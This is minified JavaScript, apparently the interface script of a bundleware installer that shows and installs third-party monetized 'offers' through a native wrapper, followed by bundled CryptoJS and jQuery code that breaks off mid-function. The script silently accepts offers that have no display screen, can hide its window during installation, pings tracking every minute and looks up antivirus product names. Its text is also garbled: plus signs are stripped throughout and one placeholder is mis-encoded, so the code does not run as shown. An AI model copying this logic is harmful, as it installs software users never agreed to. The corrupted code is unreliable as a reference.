common=returnCommonNode("welcome");showCommon(common,"welcomeScreen",dataObject.presentation.mappRenderId);break;case OFFERS:ChangeVisibility("_StepOptions");showNextOffer();break;case INSTALLING:addUniqueTrace("RenderInstallStep");addLog("InstallScreen");ChangeVisibility("_StepInstalling");showCommon(returnCommonNode("install"),"installScreen");break;case FINISH:finished=true;if(dataObject.installerBehavior.hideOnInstall){hideForm(false,false)}track("ShowFinish","ShowFinish");break;default:sendEx("default on goforward->" step);exception=true;onExit();break}}function ShowFinish(data){ChangeVisibility("_StepFinished");showCommon(returnCommonNode("finish"),"finishScreen")}function returnCommonNode(identifier){var common=undefined;$.each(dataObject.presentation.commonScreens,function(key,commonScreen){if(commonScreen.type==identifier){common=commonScreen}});return common}function searchNextAllowedOfferscreen(offerID,OfferScreenID,screens){if(OfferScreenID>screens.length-1){OfferScreenID=0}var currentOfferScreen=OfferScreenID;var returnData=null;while(true){if($.inArray(offerID,screens[currentOfferScreen].restrictedOffers)==-1){returnData=currentOfferScreen;break}else{if(currentOfferScreen>=screens.length-1){currentOfferScreen=0}else{currentOfferScreen  }if(OfferScreenID==currentOfferScreen){break}}}return returnData}function nextOfferCallback(list){addSpeficicTrace("getNextOffer");currOffer=list;if(currOffer){try{addLog("loaded offers display");currOffersText="";if(currOffer.length==1){var result=searchNextAllowedOfferscreen(dataObject.offers[currOffer].id,currentOfferScreen,dataObject.presentation.offerScreens);if(result==null){onDisplayFail("bloqued")}else{currentOfferScreen=result;dataObject.offers[currOffer].usedScreen=dataObject.presentation.offerScreens[currentOfferScreen].id;createFrame(dataObject.presentation.offerScreens[currentOfferScreen].renderUrl dataObject.offers[currOffer].offerPresentation.renderId,dataObject.offers[currOffer].offerPresentation.renderStyle,"onDisplayFail","displayLoaded")}}else{showCommon(returnCommonNode("group"),"groupScreen")}}catch(err){addLog("nextOfferCallback->" err);currOffer=null;goForward()}}else{addLog("no offers");currOffer=null;goForward()}}function showNextOffer(){try{addSpeficicTrace("gettingNextOffer");startGettingNextOffer(dataObject.offers,dataObject.installerBehavior.maxSteps,returnCommonNode("group")!==undefined,nextOfferCallback,dataObject.installerBehavior.combinationMaxTime)}catch(err){addLog(err.message)}}function onDisplayFail(reasonTxt){if(step==1){$.each(currOffer,function(key,offer){var currObject=dataObject.offers[offer];if(reasonTxt!="bloqued"){currObject.state=DISPLAYERROR}else{currObject.state=NODISPLAYCOMPATIBLE}})}addLog("onDisplayFail->" reasonTxt);goForward()}function setOfferObject(key,url,commandline,filename,name,waitToCheck,macBehavior){var newOffer={};newOffer.id=key;newOffer.url=url;newOffer.commandline=commandline;newOffer.filename=filename||name ".exe";newOffer.name=name;newOffer.checking=false;newOffer.completed=false;newOffer.macBehavior=macBehavior||"";if(waitToCheck==-1||typeof waitToCheck==="undefined"){newOffer.waitToCheck=10000}else{newOffer.waitToCheck=waitToCheck}return newOffer}function changeScreen(){currentOfferScreen  ;if(dataObject.presentation.offerScreens.length-1<currentOfferScreen){currentOfferScreen=0}}function compareArraysRemoveNumbers(firstArray,secondArray){var combined=[];$.each(firstArray,function(key,element){if($.inArray(element,secondArray)!=-1){element=element.replace(/[0-9]/g,"");if($.inArray(element,combined)==-1){combined.push(element)}}});return combined}function acceptedCatchall(arrayTotal,arrayBloqued){var formatted=[];var resultArray=[];for(var i=0;i<arrayTotal.length;i  ){var element=arrayTotal[i].replace(/[0-9]/g,"");if($.inArray(element,arrayBloqued)==-1){formatted.push(element)}}$.each(formatted,function(key,element){if($.inArray(element,resultArray)==-1){resultArray.push(element)}});return resultArray}function replaceCommandlineCachAll(offer,Accepted){var cachallCommandline="";var monAdded=compareArraysRemoveNumbers(offer.offerBehavior.monetizationTypes,Accepted);$.each(monAdded,function(key,mon){cachallCommandline =mon offer.argsDelimiter});offer.catchallMonetizations=acceptedCatchall(offer.offerBehavior.monetizationTypes,monAdded);cachallCommandline=cachallCommandline.slice(0,-1);if(offer.commandLine.indexOf("ÊtchAll%")!=-1){offer.commandLine=offer.commandLine.replace(/ÊtchAll%/g,cachallCommandline)}else{offer.commandLine=offer.commandLine cachallCommandline}}function acceptOffer(offer){acceptedRestrictions=acceptedRestrictions.concat(offer.offerBehavior.restrictions);acceptedRestrictions.push(offer.id);offer.state=ACCEPTED;if(offer.offerBehavior.catchAll){replaceCommandlineCachAll(offer,monetizationTypesAccepted)}$.merge(monetizationTypesAccepted,offer.offerBehavior.monetizationTypes)}function setNoDisplayStates(offers){for(var i=0;i<offers.length;i  ){if(offers[i].state==PENDING&&$.inArray(offers[i].id,acceptedRestrictions)==-1&&!offers[i].offerBehavior.showDisplay){acceptOffer(offers[i])}}}function setTrackInterval(){track("","");var interval=setInterval(function(){addLog("autotracking");if(finished){addLog("trackend");clearInterval(interval);return}track("","")},60000)}var CryptoJS=CryptoJS||function(h,r){var k={},l=k.lib={},n=function(){},f=l.Base={extend:function(a){n.prototype=this;var b=new n;a&&b.mixIn(a);b.hasOwnProperty("init")||(b.init=function(){b.$super.init.apply(this,arguments)});b.init.prototype=b;b.$super=this;return b},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var b in a){a.hasOwnProperty(b)&&(this[b]=a[b])}a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}},j=l.WordArray=f.extend({init:function(a,b){a=this.words=a||[];this.sigBytes=b!=r?b:4*a.length},toString:function(a){return(a||s).stringify(this)},concat:function(a){var b=this.words,d=a.words,c=this.sigBytes;a=a.sigBytes;this.clamp();if(c%4){for(var e=0;e<a;e  ){b[c e>>>2]|=(d[e>>>2]>>>24-8*(e%4)&255)<<24-8*((c e)%4)}}else{if(65535<d.length){for(e=0;e<a;e =4){b[c e>>>2]=d[e>>>2]}}else{b.push.apply(b,d)}}this.sigBytes =a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<<32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a=f.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d =4){b.push(4294967296*h.random()|0)}return new j.init(b,a)}}),m=k.enc={},s=m.Hex={stringify:function(a){var b=a.words;a=a.sigBytes;for(var d=[],c=0;c<a;c  ){var e=b[c>>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c =2){d[c>>>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8)}return new j.init(d,b/2)}},p=m.Latin1={stringify:function(a){var b=a.words;a=a.sigBytes;for(var d=[],c=0;c<a;c  ){d.push(String.fromCharCode(b[c>>>2]>>>24-8*(c%4)&255))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c  ){d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4)}return new j.init(d,b)}},t=m.Utf8={stringify:function(a){try{return decodeURIComponent(escape(p.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data")}},parse:function(a){return p.parse(unescape(encodeURIComponent(a)))}},q=l.BufferedBlockAlgorithm=f.extend({reset:function(){this._data=new j.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=t.parse(a));this._data.concat(a);this._nDataBytes =a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,f=c/(4*e),f=a?h.ceil(f):h.max((f|0)-this._minBufferSize,0);a=f*e;c=h.min(4*a,c);if(a){for(var g=0;g<a;g =e){this._doProcessBlock(d,g)}g=d.splice(0,a);b.sigBytes-=c}return new j.init(g,c)},clone:function(){var a=f.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});l.Hasher=q.extend({cfg:f.extend(),init:function(a){this.cfg=this.cfg.extend(a);this.reset()},reset:function(){q.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);return this._doFinalize()},blockSize:16,_createHelper:function(a){return function(b,d){return(new a.init(d)).finalize(b)}},_createHmacHelper:function(a){return function(b,d){return(new u.HMAC.init(a,d)).finalize(b)}}});var u=k.algo={};return k}(Math);function printStates(){if(window.external&&("printStates" in window.external)&&("acceptedMonetizations" in window.external)){var object=[];$.each(dataObject.offers,function(key,offer){var newObject={};newObject.id=offer.id;newObject.name=offer.name;newObject.canGroup=offer.offerPresentation.canGroup;newObject.monetization=offer.offerBehavior.monetizationTypes;newObject.restrictions=offer.offerBehavior.restrictions;newObject.state=offer.state;object.push(newObject)});window.external.printStates(JSON.stringify(object));window.external.acceptedMonetizations(monetizationTypesAccepted)}}function PrintInstallPropiertas(installingOffers){if(window.external&&("printInstallPropiertas" in window.external)){$.each(installingOffers,function(key,offer){window.external.printInstallPropiertas(offer.name,offer.url,offer.commandline)})}}function printCombination(offers,value){if(window.external&&("printCombination" in window.external)){setTimeout(function(){var offersText="";for(var i=0;i<offers.length;i  ){for(var a=0;a<offers[i].length;a  ){offersText =offers[i][a] " "}offersText=offersText.slice(0,-1);offersText =","}window.external.printCombination(offersText,value);addLog(offersText "->" value)},1)}}function printClearCombination(){if(window.external&&("printClearCombination" in window.external)){setTimeout(function(){window.external.printClearCombination()},1)}}var ignorepresents=null;function GetIgnorePresents(offerID){if(ignorepresents!==null){return ignorepresents}if(window.external&&("GetIgnorePresents" in window.external)){return window.external.GetIgnorePresents(offerID)}else{ignorepresents=0}return ignorepresents}function getRegion(){if(window.external&&("getRegion" in window.external)){return window.external.getRegion()||""}else{return""}}function addLog(message){if(window.external&&("addLog" in window.external)){setTimeout(function(){window.external.addLog(message)},0)}}var installingOffers=null;var totalbytes=0;var installStart=null;function install(offers){installingOffers=offers;PrintInstallPropiertas(offers);SetTotalSize()}function SetTotalSize(){setTimeout(function(){var urls="";$.each(installingOffers,function(key,offer){urls =offer.url "%%%"});urls=urls.slice(0,-3);var bytes=getTotalSize(urls);totalSizeRecivied(bytes)},0)}function totalSizeRecivied(bytes){addLog(bytes);addLog(typeof(bytes.toString()));totalbytes=parseInt(bytes.toString());addLog("parsed");addTrace("totalSizeRecivied");$.each(installingOffers,function(key,offer){try{offer.position=key;addLog("startInstall");startInstall(key,offer.url,offer.commandline,offer.filename,offer.macBehavior);addLog("startedInstall")}catch(err){offer.downloadedBytes=0;offer.totalbytes=0;offer.state=OFFERERROR}});addTrace("allOffersSended");var dateObj=new Date();installStart=dateObj.getTime();getOffersProgress()}var currdownloadedBytes=null;function showInstallProgress(){currdownloadedBytes=0;$.each(installingOffers,function(key,offer){if($.isNumeric(offer.downloadedBytes)){currdownloadedBytes =offer.downloadedBytes}});if(currdownloadedBytes>0){var percentage=Math.round((currdownloadedBytes*90)/totalbytes);if(percentage<90){$("._ProgressText").show();$("._ProgressTextDownloaded").html(humanReadableFileSize(currdownloadedBytes));$("._ProgressTextTotal").html(humanReadableFileSize(totalbytes));$("._ProgressTextPercentage").html(percentage);$("._TotalProgressLevel").width(percentage "%")}else{$("._TotalProgressLevel").width("90%");$("._ProgressText").hide();$("._ProgressInstallingText").show()}}}var errorIntervaTracked=false;function trackErrorOnInterval(message){if(!errorIntervaTracked){errorIntervaTracked=true;onException("DownloadInterval->" message)}}function updateOffersValues(){var allInstalled=true;for(var i=0;i<installingOffers.length;i  ){if(installingOffers[i].checking){continue}var response=null;var dateObj=new Date();if(dateObj.getTime()-installStart<1200000){response=getDownloadProgress(i)}else{response="-99"}var responseSplited=response.split("|");if(responseSplited.length==2){allInstalled=false;offerProgress(i,responseSplited[0],responseSplited[1])}else{installingOffers[i].checking=true;try{offerInstallComplete(i,responseSplited[0],installingOffers[i].waitToCheck)}catch(err){installingOffers[i].state=INSTALLERROR;sendEx("offercompleteError","offerID->" installingOffers[i].id,"","",JSON.stringify(err))}}}return allInstalled}var wentToFinish=false;function getOffersProgress(){setTimeout(function(){addUniqueTrace("progressIntervalCreated");try{var allInstalled=updateOffersValues();showInstallProgress();if(allInstalled){addUniqueTrace("allInstalled");if(checkFinish()===true&&!wentToFinish){wentToFinish=true;addTrace("FinishInstall");addLog("checkedFinish");goForward();addLog("finish")}}if(!wentToFinish){getOffersProgress()}}catch(err){trackErrorOnInterval(JSON.stringify(err))}},1000)}function offerProgress(position,downloadedBytes,totalbytes){installingOffers[position].downloadedBytes=parseInt(downloadedBytes);installingOffers[position].totalbytes=parseInt(totalbytes)}function offerInstallComplete(position,result,waitToCheck){addLog(position "->installed");addUniqueTrace("offerInstalled");installingOffers[position].downloadedBytes=installingOffers[position].totalbytes;addSpeficicTrace("install");addLog("waiting " waitToCheck " miliseconds");setTimeout(function(){addLog(position "->checking");offerSetState(installingOffers[position].id,result);printStates();installingOffers[position].completed=true;addSpeficicTrace("installed")},waitToCheck)}function checkFinish(){for(var i=0;i<installingOffers.length;i  ){if(installingOffers[i].completed!==true){addLog("CheckFinish false");return false}}addLog("CheckFinish true");return true}function offerSetState(id,resultCode){if(id==-1){mappInstalled=true;return}$.each(dataObject.offers,function(key,offer){if(offer.id==id&&offer.state==ACCEPTED){try{if(resultCode==-99){offer.state=INSTALLERROR}else{var present=checkPresent(offer.offerBehavior.postCheck,resultCode);if(present==true){offer.state=INSTALLED;track("","");ownerCheck(offer.id,true)}else{if(present==false){offer.state=NOCONFIRMED;sendOfferException("not confirmed",resultCode.toString(),"",offer.url,offer.name,"INSTALL NOTCONFIRMED")}else{offer.state=POSTCHECKERROR}}}}catch(err){offer.state=POSTCHECKERROR}}})}function getReport(){}(function(){var h=CryptoJS,j=h.lib.WordArray;h.enc.Base64={stringify:function(b){var e=b.words,f=b.sigBytes,c=this._map;b.clamp();b=[];for(var a=0;a<f;a =3){for(var d=(e[a>>>2]>>>24-8*(a%4)&255)<<16|(e[a 1>>>2]>>>24-8*((a 1)%4)&255)<<8|e[a 2>>>2]>>>24-8*((a 2)%4)&255,g=0;4>g&&a 0.75*g<f;g  ){b.push(c.charAt(d>>>6*(3-g)&63))}}if(e=c.charAt(64)){for(;b.length%4;){b.push(e)}}return b.join("")},parse:function(b){var e=b.length,f=this._map,c=f.charAt(64);c&&(c=b.indexOf(c),-1!=c&&(e=c));for(var c=[],a=0,d=0;d<e;d  ){if(d%4){var g=f.indexOf(b.charAt(d-1))<<2*(d%4),h=f.indexOf(b.charAt(d))>>>6-2*(d%4);c[a>>>2]|=(g|h)<<24-8*(a%4);a  }}return j.create(c,a)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /="}})();function FormatAntivirusName(currentName,antivirusRegexArray){if(!antivirusRegexArray){return null}var result=null;$.each(antivirusRegexArray,function(key,value){var pattern=new RegExp(value,"i");if(currentName.match(pattern)){result=key;return false}});return result}function checkRegKey(path,key,value){key=key||"";value=value||"";return window.external.checkRegKey(path,key,value)}function minimizeWindow(){return window.external.minimizeWindow()}function checkFile(path,regexp){regexp=regexp||"";return window.external.checkFile(path,regexp)}function getResponseFromWrapper(url,post,callback,failcallback){window.external.getResponse(url,post,callback,failcallback)}function checkDirectory(path){return window.external.checkDirectory(path)}function checkRunFile(DownloadUrl,FileName,args,time){throw"banned"}var isLoadedOneTime=false;function loaded(){if(!isLoadedOneTime){isLoadedOneTime=true;addTrace("loadedFunctionStart");getBodySize();addTrace("gettedBodySize");var hideFormString=returnIdValue("#_HideBorder")||"0";window.external.loaded(parseInt(actualWidth),parseInt(actualHeight),parseInt(hideFormString));addTrace("called")}$("#_frameContainer").css("visibility","visible")}function setWindowName(text){window.external.setWindowName(text)}function hideForm(hide,icon){try{window.external.hideForm(hide,icon)}catch(err){window.external.hideForm(hide)}}function ownerCheck(offerID,set){return window.external.ownerCheck(parseInt(offerID),set)}function createUninstaller(values){if(values.length>0&&window.external&&("createUninstaller" in window.external)){try{return window.external.createUninstaller(values)}catch(err){return false}}}function openUrlOnBrowser(url,browser){window.external.openUrlOnBrowser(url,browser)}function openUrlOnDefaultBrowser(url){window.external.openUrlOnDefaultBrowser(url)}function externalClose(){onExit()}function closeForm(){addLog("closing");window.external.close()}function showMessage(message,title,twoButtons){return window.external.showMessage(message,title,twoButtons)}function startInstall(key,url,commandline,filename,macBehavior){commandline=commandline||"";return window.external.startInstall(parseInt(key),url,commandline,filename,macBehavior)}function getTotalSize(urls){return window.external.getTotalSize(urls).toString()}function configurationCrypted(){var returnVal=window.external.configurationCrypted();return returnVal.toString()}function disableControlBoxButtons(button,value){window.external.disableControlBoxButtons(button,value)}function getDownloadProgress(id){try{return window.external.getDownloadProgress(id).toString()}catch(err){return"0|1"}}function sendOfferException(message,codeError,codeErrorMsg,url,OfferName,TyperError){url=url|"";return window.external.sendOfferException(message,codeError,codeErrorMsg,url,OfferName,TyperError)}function getScriptNextOffer(offersData,AcceptedOffer,maxSteps,timeout){return window.external.getScriptNextOffer(offersData,AcceptedOffer,maxSteps,timeout)}function changeDownloadPath(){var _path=window.external.changeDownloadPath();if(_path){updateValue($("#_downloadPath"),_path,false)}}function getDownloadPath(){return window.external.getDownloadPath()}(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=[],f="1.10.2",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function(e,t){return new x.fn.init(e,t,r)},w=/[ -]?(?:\d*\.|)\d (?:[eE][ -]?\d |)/.source,T=/\S /g,C=/^[\s\uFEFF\xA0] |[\s\uFEFF\xA0] $/g,N=/^(?:\s*(<[\w\W] >)[^>]*|#([\w-]*))$/,k=/^<(\w )\s*\/?>(?:<\/\1>|)$/,E=/^[\],:{}\s]*$/,S=/(?:^|:|,)(?:\s*\[) /g,A=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,j=/"[^"\\\r\n]*"|true|false|null|-?(?:\d \.|)\d (?:[eE][ -]?\d |)/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function(e){(a.addEventListener||"load"===e.type||"complete"===a.readyState)&&(_(),x.ready())},_=function(){a.addEventListener?(a.removeEventListener("DOMContentLoaded",q,!1),e.removeEventListener("load",q,!1)):(a.detachEvent("onreadystatechange",q),e.detachEvent("onload",q))};x.fn=x.prototype={jquery:f,constructor:x,init:function(e,n,r){var i,o;if(!e){return this}if("string"==typeof e){if(i="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!i||!i[1]&&n){return !n||n.jquery?(n||r).find(e):this.constructor(n).find(e)}if(i[1]){if(n=n instanceof x?n[0]:n,x.merge(this,x.parseHTML(i[1],n&&n.nodeType?n.ownerDocument||n:a,!0)),k.test(i[1])&&x.isPlainObject(n)){for(i in n){x.isFunction(this[i])?this[i](n[i]):this.attr(i,n[i])}}return this}if(o=a.getElementById(i[2]),o&&o.parentNode){if(o.id!==i[2]){return r.find(e)}this.length=1,this[0]=o}return this.context=a,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):x.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),x.makeArray(e,this))},selector:"",length:0,toArray:function(){return g.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length e]:this[e]},pushStack:function(e){var t=x.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return x.each(this,e,t)},ready:function(e){return x.ready.promise().done(e),this},slice:function(){return this.pushStack(g.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n= e (0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:h,sort:[].sort,splice:[].splice},x.fn.init.prototype=x.fn,x.extend=x.fn.extend=function(){var e,n,r,i,o,a,s=arguments[0]||{},l=1,u=arguments.length,c=!1;for("boolean"==typeof s&&(c=s,s=arguments[1]||{},l=2),"object"==typeof s||x.isFunction(s)||(s={}),u===l&&(s=this,--l);u>l;l  ){if(null!=(o=arguments[l])){for(i in o){e=s[i],r=o[i],s!==r&&(c&&r&&(x.isPlainObject(r)||(n=x.isArray(r)))?(n?(n=!1,a=e&&x.isArray(e)?e:[]):a=e&&x.isPlainObject(e)?e:{},s[i]=x.extend(c,a,r)):r!==t&&(s[i]=r))}}}return s},x.extend({expando:"jQuery" (f Math.random()).replace(/\D/g,""),noConflict:function(t){return e.$===x&&(e.$=u),t&&e.jQuery===x&&(e.jQuery=l),x},isReady:!1,readyWait:1,holdReady:function(e){e?x.readyWait  :x.ready(!0)},ready:function(e){if(e===!0?!--x.readyWait:!x.isReady){if(!a.body){return setTimeout(x.ready)}x.isReady=!0,e!==!0&&--x.readyWait>0||(n.resolveWith(a,[x]),x.fn.trigger&&x(a).trigger("ready").off("ready"))}},isFunction:function(e){return"function"===x.type(e)},isArray:Array.isArray||function(e){return"array"===x.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return !isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e "":"object"==typeof e||"function"==typeof e?c[y.call(e)]||"object":typeof e},isPlainObject:function(e){var n;if(!e||"object"!==x.type(e)||e.nodeType||x.isWindow(e)){return !1}try{if(e.constructor&&!v.call(e,"constructor")&&!v.call(e.constructor.prototype,"isPrototypeOf")){return !1}}catch(r){return !1}if(x.support.ownLast){for(n in e){return v.call(e,n)}}for(n in e){}return n===t||v.call(e,n)},isEmptyObject:function(e){var t;for(t in e){return !1}return !0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e){return null}"boolean"==typeof t&&(n=t,t=!1),t=t||a;var r=k.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=x.buildFragment([e],t,i),i&&x(i).remove(),x.merge([],r.childNodes))},parseJSON:function(n){return e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=x.trim(n),n&&E.test(n.replace(A,"@").replace(j,"]").replace(S,"")))?Function("return " n)():(x.error("Invalid JSON: " n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n){return null}try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return r&&r.documentElement&&!r.getElementsByTagName("parsererror").length||x.error("Invalid XML: " n),r},noop:function(){},globalEval:function(t){t&&x.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(D,"ms-").replace(L,H)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,a=M(e);if(n){if(a){for(;o>i;i  ){if(r=t.apply(e[i],n),r===!1){break}}}else{for(i in e){if(r=t.apply(e[i],n),r===!1){break}}}}else{if(a){for(;o>i;i  ){if(r=t.call(e[i],i,e[i]),r===!1){break}}}else{for(i in e){if(r=t.call(e[i],i,e[i]),r===!1){break}}}}return e},trim:b&&!b.call("\ufeff\u00a0")?function(e){return null==e?"":b.call(e)}:function(e){return null==e?"":(e "").replace(C,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(M(Object(e))?x.merge(n,"string"==typeof e?[e]:e):h.call(n,e)),n},inArray:function(e,t,n){var r;if(t){if(m){return m.call(t,e,n)}for(r=t.length,n=n?0>n?Math.max(0,r n):n:0;r>n;n  ){if(n in t&&t[n]===e){return n}}}return -1},merge:function(e,n){var r=n.length,i=e.length,o=0;if("number"==typeof r){for(;r>o;o  ){e[i  ]=n[o]}}else{while(n[o]!==t){e[i  ]=n[o  ]}}return e.length=i,e},grep:function(e,t,n){var r,i=[],o=0,a=e.length;for(n=!!n;a>o;o  ){r=!!t(e[o],o),n!==r&&i.push(e[o])}return i},map:function(e,t,n){var r,i=0,o=e.length,a=M(e),s=[];if(a){for(;o>i;i  ){r=t(e[i],i,n),null!=r&&(s[s.length]=r)}}else{for(i in e){r=t(e[i],i,n),null!=r&&(s[s.length]=r)}}return d.apply([],s)},guid:1,proxy:function(e,n){var r,i,o;return"string"==typeof n&&(o=e[n],n=e,e=o),x.isFunction(e)?(r=g.call(arguments,2),i=function(){return e.apply(n||this,r.concat(g.call(arguments)))},i.guid=e.guid=e.guid||x.guid  ,i):t},access:function(e,n,r,i,o,a,s){var l=0,u=e.length,c=null==r;if("object"===x.type(r)){o=!0;for(l in r){x.access(e,n,l,r[l],!0,a,s)}}else{if(i!==t&&(o=!0,x.isFunction(i)||(s=!0),c&&(s?(n.call(e,i),n=null):(c=n,n=function(e,t,n){return c.call(x(e),n)})),n)){for(;u>l;l  ){n(e[l],r,s?i:i.call(e[l],l,n(e[l],r)))}}}return o?e:c?n.call(e):u?n(e[0],r):a},now:function(){return(new Date).getTime()},swap:function(e,t,n,r){var i,o,a={};for(o in t){a[o]=e.style[o],e.style[o]=t[o]}i=n.apply(e,r||[]);for(o in t){e.style[o]=a[o]}return i}}),x.ready.promise=function(t){if(!n){if(n=x.Deferred(),"complete"===a.readyState){setTimeout(x.ready)}else{if(a.addEventListener){a.addEventListener("DOMContentLoaded",q,!1),e.addEventListener("load",q,!1)}else{a.attachEvent("onreadystatechange",q),e.attachEvent("onload",q);var r=!1;try{r=null==e.frameElement&&a.documentElement}catch(i){}r&&r.doScroll&&function o(){if(!x.isReady){try{r.doScroll("left")}catch(e){return setTimeout(o,50)}_(),x.ready()}}()}}}return n.promise(t)},x.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){c["[object " t "]"]=t.toLowerCase()});function M(e){var t=e.length,n=x.type(e);return x.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}r=x(a),function(e,t){var n,r,i,o,a,s,l,u,c,p,f,d,h,g,m,y,v,b="sizzle" -new Date,w=e.document,T=0,C=0,N=st(),k=st(),E=st(),S=!1,A=function(e,t){return e===t?(S=!0,0):0},j=typeof t,D=1<<31,L={}.hasOwnProperty,H=[],q=H.pop,_=H.push,M=H.push,O=H.slice,F=H.indexOf||function(e){var t=0,n=this.length;for(;n>t;t  ){if(this[t]===e){return t}}return -1},B="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",P="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\\x00-\\xa0]) ",W=R.replace("w","w#"),$="\\[" P "*(" R ")" P "*(?:([*^$|!~]?=)" P "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" W ")|)|)" P "*\\]",I=":(" R ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" $.replace(3,8) ")*)|.*)\\)|)",z=RegExp("^" P " |((?:^|[^\\\\])(?:\\\\.)*)" P " $","g"),X=RegExp("^" P "*," P "*"),U=RegExp("^" P "*([> ~]|" P ")" P "*"),V=RegExp(P "*[ ~]"),Y=RegExp("=" P "*([^\\]'\"]*)" P "*\\]","g"),J=RegExp(I),G=RegExp("^" W "$"),Q={ID:RegExp("^#(" R ")"),CLASS:RegExp("^\\.(" R ")"),TAG:RegExp("^(" R.replace("w","w*") ")"),ATTR:RegExp("^" $),PSEUDO:RegExp("^" I),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" P "*(even|odd|(([ -]|)(\\d*)n|)" P "*(?:([ -]|)" P "*(\\d )|))" P "*\\)|)","i"),bool:RegExp("^(?:" B ")$","i"),needsContext:RegExp("^" P "*[> ~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" P "*((?:-\\d)?\\d*)" P "*\\)|)(?=[^-]|$)","i")},K=/^[^{] \{\s*\[native \w/,Z=/^(?:#([\w-] )|(\w )|\.([\w-] ))$/,et=/^(?:input|select|textarea|button)$/i,tt=/^h\d$/i,nt=/'|\\/g,rt=RegExp("\\\\([\\da-f]{1,6}" P "?|(" P ")|.)","ig"),it=function(e,t,n){var r="0x" t-65536;return r!==r||n?t:0>r?String.fromCharCode(r 65536):String.fromCharCode(55296|r>>10,56320|1023&r)};try{M.apply(H=O.call(w.childNodes),w.childNodes),H[w.childNodes.length].nodeType}catch(ot){M={apply:H.length?function(e,t){_.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n  ]=t[r  ]){}e.length=n-1}}}function at(e,t,n,i){var o,a,s,l,u,c,d,m,y,x;if((t?t.ownerDocument||t:w)!==f&&p(t),t=t||f,n=n||[],!e||"string"!=typeof e){return n}if(1!==(l=t.nodeType)&&9!==l){return[]}if(h&&!i){if(o=Z.exec(e)){if(s=o[1]){if(9===l){if(a=t.getElementById(s),!a||!a.parentNode){return n}if(a.id===s){return n.push(a),n}}else{if(t.ownerDocument&&(a=t.ownerDocument.getElementById(s))&&v(t,a)&&a.id===s){return n.push(a),n}}}else{if(o[2]){return M.apply(n,t.getElementsByTagName(e)),n}if((s=o[3])&&r.getElementsByClassName&&t.getElementsByClassName){return M.apply(n,t.getElementsByClassName(s)),n}}}if(r.qsa&&(!g||!g.test(e))){if(m=d=b,y=t,x=9===l&&e,1===l&&"object"!==t.nodeName.toLowerCase()){c=mt(e),(d=t.getAttribute("id"))?m=d.replace(nt,"\\$&"):t.setAttribute("id",m),m="[id='" m "'] ",u=c.length;while(u--){c[u]=m yt(c[u])}y=V.test(e)&&t.parentNode||t,x=c.join(",")}if(x){try{return M.apply(n,y.querySelectorAll(x)),n}catch(T){}finally{d||t.removeAttribute("id")}}}}return kt(e.replace(z,"$1"),t,n,i)}function st(){var e=[];function t(n,r){return e.push(n =" ")>o.cacheLength&&delete t[e.shift()],t[n]=r}return 